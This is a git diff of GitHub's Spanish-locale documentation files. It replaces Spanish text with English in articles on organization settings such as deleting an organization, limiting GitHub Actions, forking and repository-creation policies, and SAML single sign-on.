-1,6 +1,6 @@ --- -title: Eliminar una cuenta de una organización -intro: 'Cuando eliminas una organización, se eliminan también todos los repositorios, bifurcaciones de repositorios privados, wikis, propuestas, solicitudes de extracción y páginas del proyecto y de la organización. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}' +title: Deleting an organization account +intro: 'When you delete an organization, all repositories, forks of private repositories, wikis, issues, pull requests, and Project or Organization Pages are deleted as well. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}' redirect_from: - /articles/deleting-an-organization-account - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account @@ -12,24 +12,25 @@ versions: topics: - Organizations - Teams -shortTitle: Borrar una cuenta organizacional +shortTitle: Delete organization account --- {% ifversion fpt or ghec %} {% tip %} -**Sugerencia**: Si deseas cancelar tu suscripción paga, puedes [bajar la categoría de tu organización a {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) en lugar de eliminar la organización y su contenido. +**Tip**: If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) instead of deleting the organization and its content. {% endtip %} {% endif %} -## 1. Haz una copia de respaldo del contenido de tu organización +## 1. Back up your organization content -Una vez que eliminas una organización, GitHub **no puede restaurar su contenido**. Por lo tanto, antes de que borres tu organización, asegúrate de que tengas una copia de todos los repositorios, wikis, propuestas y tableros de proyecto de la cuenta. +Once you delete an organization, GitHub **cannot restore your content**. Therefore, before you delete your organization, make sure you have a copy of all repositories, wikis, issues, and project boards from the account. -## 2. Elimina la organización +## 2. Delete the organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -4. Junto a la parte inferior de la página de configuración de la organización, haz clic en **Eliminar esta organización**. ![Botón Eliminar esta organización](/assets/images/help/settings/settings-organization-delete.png) +4. Near the bottom of the organization's settings page, click **Delete this Organization**. + ![Delete this organization button](/assets/images/help/settings/settings-organization-delete.png) diff --git a/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md index d8c9e031eb..4b2252d181 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Inhabilitar o limitar GitHub Actions para tu organización -intro: 'Los propietarios de organización pueden inhabilitar, habilitar y limitar GitHub Actions para la misma.' +title: Disabling or limiting GitHub Actions for your organization +intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization versions: @@ -11,59 +11,60 @@ versions: topics: - Organizations - Teams -shortTitle: Inhabilitar o limitar las acciones +shortTitle: Disable or limit actions --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Acerca de los permisos de {% data variables.product.prodname_actions %} para tu organización +## About {% data variables.product.prodname_actions %} permissions for your organization -{% data reusables.github-actions.disabling-github-actions %}Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[Acerca de {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)". +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." -Puedes habilitar {% data variables.product.prodname_actions %} para todos los repositorios en tu organización. {% data reusables.github-actions.enabled-actions-description %}Puedes inhabilitar {% data variables.product.prodname_actions %} para todos los repositorios en tu organización. {% data reusables.github-actions.disabled-actions-description %} +You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %} -De manera alterna, puedes habilitar {% data variables.product.prodname_actions %} para todos los repositorios en tu organización, pero limitando las acciones que un flujo de trabajo puede ejecutar. {% data reusables.github-actions.enabled-local-github-actions %} +Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} -## Administrar los permisos de {% data variables.product.prodname_actions %} para tu organización +## Managing {% data variables.product.prodname_actions %} permissions for your organization -Puedes inhabilitar todos los flujos de trabajo para una organización o configurar una política que configure qué acciones pueden utilizarse en una organización. +You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization. {% data reusables.actions.actions-use-policy-settings %} {% note %} -**Nota:** Tal vez no puedas administrar estas configuraciones si la empresa que administra tu organización tiene una política que lo anule. Para obtener más información, consulta la sección "[Requerir políticas para la {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)". +**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endnote %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. Debajo de **Políticas**, selecciona una opción. ![Configurar la política de acciones para esta organización](/assets/images/help/organizations/actions-policy.png) -1. Haz clic en **Save ** (guardar). +1. Under **Policies**, select an option. + ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png) +1. Click **Save**. -## Permitir que se ejecuten acciones específicas +## Allowing specific actions to run {% data reusables.actions.allow-specific-actions-intro %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. Debajo de **Políticas**, selecciona **Permitir las acciones seleccionadas** y agrega tus acciones requeridas a la lista. - {%- ifversion ghes %} - ![Agregar acciones a la lista de permitidos](/assets/images/help/organizations/actions-policy-allow-list.png) +1. Under **Policies**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png) {%- else %} - ![Agregar acciones a la lista de permitidos](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) {%- endif %} -1. Haz clic en **Save ** (guardar). +1. Click **Save**. {% ifversion fpt or ghec %} -## Configurar las aprobaciones requeridas para los flujos de trabajo desde las bifurcaciones pùblicas +## Configuring required approval for workflows from public forks {% data reusables.actions.workflow-run-approve-public-fork %} -Puedes configurar este comportamiento de una organización utilizando los siguientes procedimientos. El modificar este ajuste anula el ajuste de configuraciòn a nivel empresarial. +You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level. {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -74,11 +75,11 @@ Puedes configurar este comportamiento de una organización utilizando los siguie {% endif %} {% ifversion fpt or ghes or ghec %} -## Habilitar flujos de trabajo para las bifurcaciones de repositorios privados +## Enabling workflows for private repository forks {% data reusables.github-actions.private-repository-forks-overview %} -### Configurar la política de bifurcaciones privadas para una organización +### Configuring the private fork policy for an organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -87,20 +88,21 @@ Puedes configurar este comportamiento de una organización utilizando los siguie {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## Configurar los permisos del `GITHUB_TOKEN` para tu organización +## Setting the permissions of the `GITHUB_TOKEN` for your organization {% data reusables.github-actions.workflow-permissions-intro %} -Puedes configurar los permisos predeterminados para el `GITHUB_TOKEN` en la configuración de tu organización o tus repositorios. Si eliges la opción restringida como la predeterminada en tu configuración de organización, la misma opción se auto-seleccionará en la configuración de los repositorios dentro de dicha organización y se inhabilitará la opción permisiva. Si tu organización le pertenece a una cuenta {% data variables.product.prodname_enterprise %} y la configuración predeterminada más restringida se seleccionó en la configuración de dicha empresa, no podrás elegir la opción predeterminada permisiva en la configuración de tu organización. +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings. {% data reusables.github-actions.workflow-permissions-modifying %} -### Configurar los permisos predeterminados del `GITHUB_TOKEN` +### Configuring the default `GITHUB_TOKEN` permissions {% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. Debajo de **Permisos del flujo de trabajo**, elige si quieres que el `GITHUB_TOKEN` tenga permisos de lectura y escritura para todos los alcances o solo acceso de lectura para el alcance `contents`. ![Configurar los permisos del GITHUB_TOKEN para esta organización](/assets/images/help/settings/actions-workflow-permissions-organization.png) -1. Da clic en **Guardar** para aplicar la configuración. +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png) +1. Click **Save** to apply the settings. {% endif %} diff --git a/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md index 1ec4f92d54..67a4c82971 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Administrar el nombre de la rama predeterminada para los repositorios en tu organización -intro: 'Puedes configurar el nombre de la rama predeterminada para los repositorios que los miembros crean en tu organización en {% data variables.product.product_location %}.' +title: Managing the default branch name for repositories in your organization +intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.product.product_location %}.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization permissions: Organization owners can manage the default branch name for new repositories in the organization. @@ -12,26 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: Administrar el nombre de la rama predeterminada +shortTitle: Manage default branch name --- -## Acerca de la administración del nombre de la rama predeterminada +## About management of the default branch name -Cuadno un miembro de tu organización crea un repositorio nuevo en la misma, éste contendrá una rama que será la predeterminada. Puedes cambiar el nombre que {% data variables.product.product_name %} utiliza para dicha rama en los repositorios nuevos que creen los miembros de tu organización. Para obtener màs informaciòn sobre la rama predeterminada, consulta la secciòn "[Acerca de las ramas](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)". +When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." {% data reusables.branches.change-default-branch %} -Si un propietario de la empresa requirió una política para el nombre de la rama predeterminada de tu empresa, no puedes configurar dicho nombre en tu organización. En su lugar, puedes cambiar la rama predeterminada para los repositorios individuales. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." +If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." -## Configurar el nombre de la rama predeterminada +## Setting the default branch name {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.repository-defaults %} -3. Debajo de "Rama predeterminada del repositorio", da clic en **Cambiar el nombre de la rama predeterminada ahora**. ![Botón de ignorar](/assets/images/help/organizations/repo-default-name-button.png) -4. Teclea el nombre predeterminado que quisieras utilizar para las ramas nuevas. ![Caja de texto para ingresar el nombre predeterminado](/assets/images/help/organizations/repo-default-name-text.png) -5. Da clic en **Actualizar**. ![Botón de actualizar](/assets/images/help/organizations/repo-default-name-update.png) +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/organizations/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/organizations/repo-default-name-update.png) -## Leer más +## Further reading -- "[Administrar el nombre de la rama predeterminada para tus repositorios](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)" +- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)" diff --git a/translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md index 661bb8ab17..841dca73ea 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -1,6 +1,6 @@ --- title: Managing the forking policy for your organization -intro: 'You can allow or prevent the forking of any private{% ifversion fpt or ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' +intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' redirect_from: - /articles/allowing-people-to-fork-private-repositories-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization @@ -17,17 +17,19 @@ topics: shortTitle: Manage forking policy --- -By default, new organizations are configured to disallow the forking of private{% ifversion fpt or ghes or ghae or ghec %} and internal{% endif %} repositories. +By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. -If you allow forking of private{% ifversion fpt or ghes or ghae or ghec %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion fpt or ghes or ghae or ghec %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." - -{% data reusables.organizations.internal-repos-enterprise %} +If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -5. Under "Repository forking", select **Allow forking of private repositories** or **Allow forking of private and internal repositories**. - ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) +1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. + + {%- ifversion fpt %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) + {%- elsif ghes or ghec or ghae %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) + {%- endif %} 6. Click **Save**. ## Further reading diff --git a/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md index aebc31c1e0..7f1c181bd9 100644 --- a/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md +++ b/translations/es-ES/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Restringir la creación de repositorios en tu organización -intro: 'Para proteger los datos de tu organización, puedes configurar permisos para crear repositorios en tu organización.' +title: Restricting repository creation in your organization +intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.' redirect_from: - /articles/restricting-repository-creation-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization @@ -12,25 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: Restringir la creación de repositorios +shortTitle: Restrict repository creation --- -Puedes elegir si los miembros pueden crear repositorios en tu organización o no. Si permites que los miembros creen repositorios, puedes elegir qué tipos de repositorios pueden crear.{% ifversion fpt or ghec %} Para permitir que los miembros creen únicamente repositorios privados, tu organización debe utilizar {% data variables.product.prodname_ghe_cloud %}.{% endif %} Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. -Los propietarios de la organización siempre pueden crear cualquier tipo de repositorio. - -{% ifversion fpt or ghec %}Los propietarios de empresas{% else %}administradores de sitio{% endif %} pueden restringir las opciones que tienes disponibles para la política de creación de repositorios de tu organización. For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)." +Organization owners can always create any type of repository. +{% ifversion ghec or ghae or ghes %} +{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %} {% warning %} -**Advertencia**: Este ajuste solo restringe las opciones de visibilidad disponibles cuando los repositorios se crean y no restringe la capacidad de cambiar la visibilidad del repositorio posteriormente. Para obtener más información acerca de cómo restringir los cambios a las visibilidades existentes de los repositorios, consulta la sección "[Restringir la visibilidad de los repositorios en tu organización](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)". +**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." {% endwarning %} -{% data reusables.organizations.internal-repos-enterprise %} - {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. Debajo de "Creación de repositorios", selecciona una o más opciones. ![Opciones de creación de repositorio](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) -6. Haz clic en **Save ** (guardar). +5. Under "Repository creation", select one or more options. + + {%- ifversion ghes or ghec or ghae %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + {%- elsif fpt %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png) + {%- endif %} +6. Click **Save**. diff --git a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md index a6e3b4b2e1..ff7165d325 100644 --- a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md +++ b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md @@ -1,5 +1,5 @@ --- -title: Administrar el acceso de las personas a tu organización con roles +title: Managing people's access to your organization with roles intro: 'You can control access to your organizations''s settings and repositories by giving people organization, repository, and team roles.' redirect_from: - /articles/managing-people-s-access-to-your-organization-with-roles @@ -20,6 +20,6 @@ children: - /adding-a-billing-manager-to-your-organization - /removing-a-billing-manager-from-your-organization - /managing-security-managers-in-your-organization -shortTitle: Administrar el acceso con los roles +shortTitle: Manage access with roles --- diff --git a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md index 25141af529..6642a02c8d 100644 --- a/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md +++ b/translations/es-ES/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: Acerca de la administración de acceso e identidad con el inicio de sesión único de SAML -intro: 'Si administras centralmente las identidades y aplicaciones de tus usuarios con un provedor de identidad (IdP), puedes configurar el inicio de sesión único (SSO) del Lenguaje de Marcado para Confirmaciones de Seguridad (SAML) para proteger los recursos de tu organización en {% data variables.product.prodname_dotcom %}.' +title: About identity and access management with SAML single sign-on +intro: 'If you centrally manage your users'' identities and applications with an identity provider (IdP), you can configure Security Assertion Markup Language (SAML) single sign-on (SSO) to protect your organization''s resources on {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.saml-sso %}' redirect_from: - /articles/about-identity-and-access-management-with-saml-single-sign-on @@ -11,58 +11,58 @@ versions: topics: - Organizations - Teams -shortTitle: IAM con el SSO de SAML +shortTitle: IAM with SAML SSO --- {% data reusables.enterprise-accounts.emu-saml-note %} -## Acerca de SAML SSO +## About SAML SSO {% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.saml-accounts %} -Los propietarios de las organizaciones pueden requerir el SSO de SAML para una organización individual o para todas las organizaciones en una cuenta empresarial. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)". +Organization owners can enforce SAML SSO for an individual organization, or enterprise owners can enforce SAML SSO for all organizations in an enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." {% data reusables.saml.saml-requires-ghec %}{% ifversion fpt %} {% data reusables.enterprise.link-to-ghec-trial %}{% endif %} {% data reusables.saml.outside-collaborators-exemption %} -Antes de habilitar el SSO de SAML para tu organización, necesitarás conectar tu IdP a la misma. Para obtener más información, consulta "[Conectar tu proveedor de identidad a tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)." +Before enabling SAML SSO for your organization, you'll need to connect your IdP to your organization. For more information, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)." -En una organización, el SSO de SAML puede inhabilitarse, habilitarse pero no requerirse, o habilitarse y requerirse. Después de habilitar exitosamente el SSO de SAML para tu organización y que sus miembros se autentiquen exitosamente con tu IdP, puedes requerir la configuración del SSO de SAML. Para obtener más información acerca de requerir el SSO de SAML para tu organización en {% data variables.product.prodname_dotcom %}, consulta la sección "[Requerir el inicio de sesión único de SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)". +For an organization, SAML SSO can be disabled, enabled but not enforced, or enabled and enforced. After you enable SAML SSO for your organization and your organization's members successfully authenticate with your IdP, you can enforce the SAML SSO configuration. For more information about enforcing SAML SSO for your {% data variables.product.prodname_dotcom %} organization, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." -Los miembros deben autenticarse regularmente con tu IdP y obtener acceso a los recursos de tu organización. Tu IdP especifica la duración de este período de inicio de sesión y, generalmente, es de 24 horas. Este requisito de inicio de sesión periódico limita la duración del acceso y requiere que los usuarios se vuelvan a identificar para continuar. +Members must periodically authenticate with your IdP to authenticate and gain access to your organization's resources. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires users to re-identify themselves to continue. -Para acceder a los recursos protegidos de tu organización tulizando la API y Git en la línea de comando, los miembros deberán autorizar y autentificarse con un token de acceso personal o llave SSH. Para obtener más información, consulta la sección "[Autorizar un token de acceso personal para su uso con el inicio de sesión único de SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)". +To access the organization's protected resources using the API and Git on the command line, members must authorize and authenticate with a personal access token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." -The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. Puedes ver y retirar la identidad de SAML que se ha vinculado, activar sesiones, y autorizar las credenciales para los miembros de tu organización o cuenta empresarial. Para obtener más información, consulta la sección "[Visualizar y administrar un acceso de SAML de un miembro a tu organización](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" y [Visualizar y administrar un acceso de SAML de un usuario a tu cuenta empresarial](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)". +The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. You can view and revoke the linked SAML identity, active sessions, and authorized credentials for members of your organization or enterprise account. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise account](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)." -Si los miembros ingresan con una sesión de SSO de SAML cuando crean un nuevo repositorio, la visibilidad predeterminada de dicho repositorio será privada. De lo contrario, la visibilidad predeterminada es pública. Para obtener más información sobre la visibilidad de los repositorios, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +If members are signed in with a SAML SSO session when they create a new repository, the default visibility of that repository is private. Otherwise, the default visibility is public. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -Los miembros de una organización también deben contar con una sesión activa de SAML para autorizar un {% data variables.product.prodname_oauth_app %}. Puedes decidir no llevar este requisito si contactas a {% data variables.contact.contact_support %}. {% data variables.product.product_name %} no recomienda que renuncies a este requisito, ya que expondrá a tu organización a un riesgo mayor de que se roben las cuentas y de que exista pérdida de datos. +Organization members must also have an active SAML session to authorize an {% data variables.product.prodname_oauth_app %}. You can opt out of this requirement by contacting {% data variables.contact.contact_support %}. {% data variables.product.product_name %} does not recommend opting out of this requirement, which will expose your organization to a higher risk of account takeovers and potential data loss. {% data reusables.saml.saml-single-logout-not-supported %} -## Servicios SAML admitidos +## Supported SAML services {% data reusables.saml.saml-supported-idps %} -Algunos IdP admiten acceso de suministro a una organización de {% data variables.product.prodname_dotcom %} a través de SCIM. {% data reusables.scim.enterprise-account-scim %} Para obtener más información, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)". +Some IdPs support provisioning access to a {% data variables.product.prodname_dotcom %} organization via SCIM. {% data reusables.scim.enterprise-account-scim %} For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)." -## Agregar miembros a una organización usando SAML SSO +## Adding members to an organization using SAML SSO -Una vez que activas SAML SSO, hay varias maneras de poder agregar nuevos miembros a tu organización. Los propietarios de la organización pueden invitar a los miembros de forma manual en {% data variables.product.product_name %} o usando la API. Para obtener más información, consulta las secciones "[Invitar usuarios a unirse a tu organización](/articles/inviting-users-to-join-your-organization)" y "[Miembros](/rest/reference/orgs#add-or-update-organization-membership)". +After you enable SAML SSO, there are multiple ways you can add new members to your organization. Organization owners can invite new members manually on {% data variables.product.product_name %} or using the API. For more information, see "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)" and "[Members](/rest/reference/orgs#add-or-update-organization-membership)." -Para aprovisionar nuevos usuarios sin una invitación de un propietario de la organización, puedes usar la URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, reemplazando _ORGANIZATION_ con el nombre de tu organización. Por ejemplo, puedes configurar tu IdP para que cualquiera con acceso al IdP pueda hacer clic en el tablero del IdP para unirse a tu organización de {% data variables.product.prodname_dotcom %}. +To provision new users without an invitation from an organization owner, you can use the URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, replacing _ORGANIZATION_ with the name of your organization. For example, you can configure your IdP so that anyone with access to the IdP can click a link on the IdP's dashboard to join your {% data variables.product.prodname_dotcom %} organization. -Si tu IdP admite SCIM, {% data variables.product.prodname_dotcom %} puede invitar automáticamente a los miembros para que se unan a tu organización cuando les otorgas acceso en tu IdP. Si eliminas el acceso de un miembro a tu organización de {% data variables.product.prodname_dotcom %} en tu IdP de SAML, éste se eliminará automáticamente de la organización de{% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Acerca de 